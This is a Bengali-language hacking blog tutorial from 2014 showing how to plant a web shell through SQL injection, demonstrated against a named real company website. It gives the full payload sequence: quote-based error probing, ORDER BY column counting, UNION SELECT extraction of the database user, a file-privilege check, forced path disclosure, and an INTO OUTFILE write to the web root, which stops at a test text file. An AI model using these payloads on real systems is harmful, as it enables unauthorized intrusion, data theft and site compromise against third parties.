SQLi Query ব্যাবহার করে শেল আপলোড - Hack School Bangladesh

হ্যাকিং শিখুন নিজেকে রক্ষা করার জন্যে!

বৃহস্পতিবার, ১১ ডিসেম্বর, ২০১৪

SQLi Query ব্যাবহার করে শেল আপলোড


সবাইকে সাগতম হ্যাক স্কুল বিডির হ্যাকিং টিউটোরিয়ালে আজকে আমি আপনাদের দেখাবো
কিভাবে SQLi এর মাধ্যমে একটি ওয়েবসাইটে শেল আপলোড করতে হয় ।।
আমি একটি ভুলনরাবল সাইট বের করে রেখেছি এর জন্যে ।
আসলে SQLi এর মাধ্যমে খুব কম সাইটেই শেল আপলোড করা যায় ।
তবুও চেক করতে দোষ কোথায় যদি কাজ হয়ে যায় তাইলে তো আর কথায় নেই :p
আরেকটি কথা সাইটে শুধুমাত্র SQLi ভুলনরাবেলেটি থাকলেই চলবেনা সাথে থাকতে হবে FPD ভুলনরাবেলেটি
কারণ শেল আপলোড করার জন্যে আমাদের path এর দরকার হবে যেই path অনুযায়ী আমরা শেল আপলোড করবো ।
বি দ্রঃ শিক্ষার উদ্দ্যেশ্যে শিখবেন কাজে দিবে। হ্যাকিং কইরা দেশ জাতীর ভবিষ্যৎ উদ্ধারের কোনো দরকার নেই :p
যায় হোক আমি এই ভুলনরাবল সাইটটি বের করেছি ।
প্রথমেই আমি দেখবো সাইটটি SQLi ভুলনরাবল কিনা।
http://www.aeselectrical.com/page.php?pageID=5
ভুলনরাবল কিনা চেক করার জন্যেঃ
http://www.aeselectrical.com/page.php?pageID=5'
শেষে (') চিহ্ন দিলাম।
SQLi Error দেখতে পাচ্ছি ।
এখন আমি order by কমান্ড ব্যাবহার করে এই সাইটের ডাটাবেসে কয়টি কলাম আছে সেটা বের করার চেষ্টা করবো ।
চলুন তাহলে শুরু করা যাক ।
প্রথমেই আমি একটি পদ্ধতিতে চেক করে নিবো যে এটি String Based SQLi নাকি সেটা ।
এর জন্যে প্রথমেই আমি order by 1000-- দিলাম। যদি কোনো এরর না দেখায় তাহলে বুঝতে হবে যে এটা স্ট্রিং বেজড SQLi
যায় হোক দেখা যাক!
:http://www.aeselectrical.com/page.php?pageID=5 order by 1000--
আরেকটি কথা order by 1000-- দেওয়ার কারণ হচ্ছে ! ডাটাবেসে তো আর ১০০০ টি কলাম থাকতে পারে না ।
এই কারণেই, এটা দেওয়ার পরেও যখন কোনো এরর দেখাচ্ছে না । তাহলে বুঝতে হবে যে string based SQLi ।
চলুন তাহলে এখন স্টিং বেজড SQLi ব্যাবহার করে এই সাইটে কয়টি কলাম আছে সেটা বের করি ।
http://www.aeselectrical.com/page.php?pageID=5' order by 10--+
SQLi এরর দেখাচ্ছে।
এখন ১০ থেকে কমিয়ে ৫ দিয়ে দেখি ।

http://www.aeselectrical.com/page.php?pageID=5' order by 5--+
না এখন আর এরর দেখাচ্ছে না !~
আবার
http://www.aeselectrical.com/page.php?pageID=5' order by 6--+
দিয়ে দেখি ।! এরর ।। তার মানে কলাম আছে  ৫টি। এখন আমরা union select statement টি ব্যাবহার করে দেখবো
এই কলাম গুলোর মধ্যে কোন কলামটি ভুলনরাবল ।
http://www.aeselectrical.com/page.php?pageID=5' union select 1,2,3,4,5--+

দেখা যাচ্ছে ৩,৪ এই দুইটি কলাম :) এখন আমাদের কাজ হচ্ছে । ডাটাবেসের ইউজার নেম বের করা। এর জন্যে user() কমান্ডটি ব্যাবহার
৩ অথবা ৪ এই দুইটি ভুলনরাবল কলামের মধ্যে যেকোনো একটায়।
http://www.aeselectrical.com/page.php?pageID=5' union select 1,2,user,4,5--+

দেখাচ্ছেঃroot@localhost
এর মানে হলো ইউজার নেম=root
এখন আমরা দেখনো root user এর file privilages আছে কিনা যার জন্যে কমান্ড হবেঃ

http://www.aeselectrical.com/page.php?pageID=5' union select 1,2,file_priv,4,5 from mysql.user where user='root'--+
এখন আমি দেখতে পাচ্ছি Y দেখাচ্ছে যার মানে yes! এর মানে হচ্ছে root user এর file privilages আছে এবং এই সাইটে আমরা আমাদের শেল আপলোড দিতে পারবো SQLi query ব্যাবহার করে।
চলুন তাহলে শুরু করা যাক শেল আপলোডিং। ও আর আগে আমাদের file path নের করতে হবে যাতে সেই অনুযায়ী আমরা শেল আপলোড করতে পারি :) চলুন তাহলে সেটাও করিয়া দেখায় :P
www.aeselectrical.com/page.php?pageID[]=5
এখন ওয়েবপেইজে দেখাচ্ছে ।
Notice: Undefined variable: page in E:\Web\AES\page.php on line 55 
আর এটা হচ্ছে file path: E:\Web\AES\
এখন আমি শেল আপলোড করবো !! না শেল আপলোড করাটা ঠিক হবে না ;) আমি একটি টেক্সট ফাইল আপলোড করে দেখায় SQLi Query এর মাধ্যমে ।

http://www.aeselectrical.com/page.php?pageID=5' union select 1,2,'Worm Here',4,5 into outfile 'E:\\Web\\AES\\worm.txt'--+
 -
আপলোড করার পর আমার ফাইলের লিঙ্ক :D
http://www.aeselectrical.com/worm.txt

--



ধন্যাবাদ ।


কোন মন্তব্য নেই:

একটি মন্তব্য পোস্ট করুন

মনে রাখবেন: এই ব্লগের কোনও সদস্যই কোনও মন্তব্য পোস্ট করতে পারে৷

Pages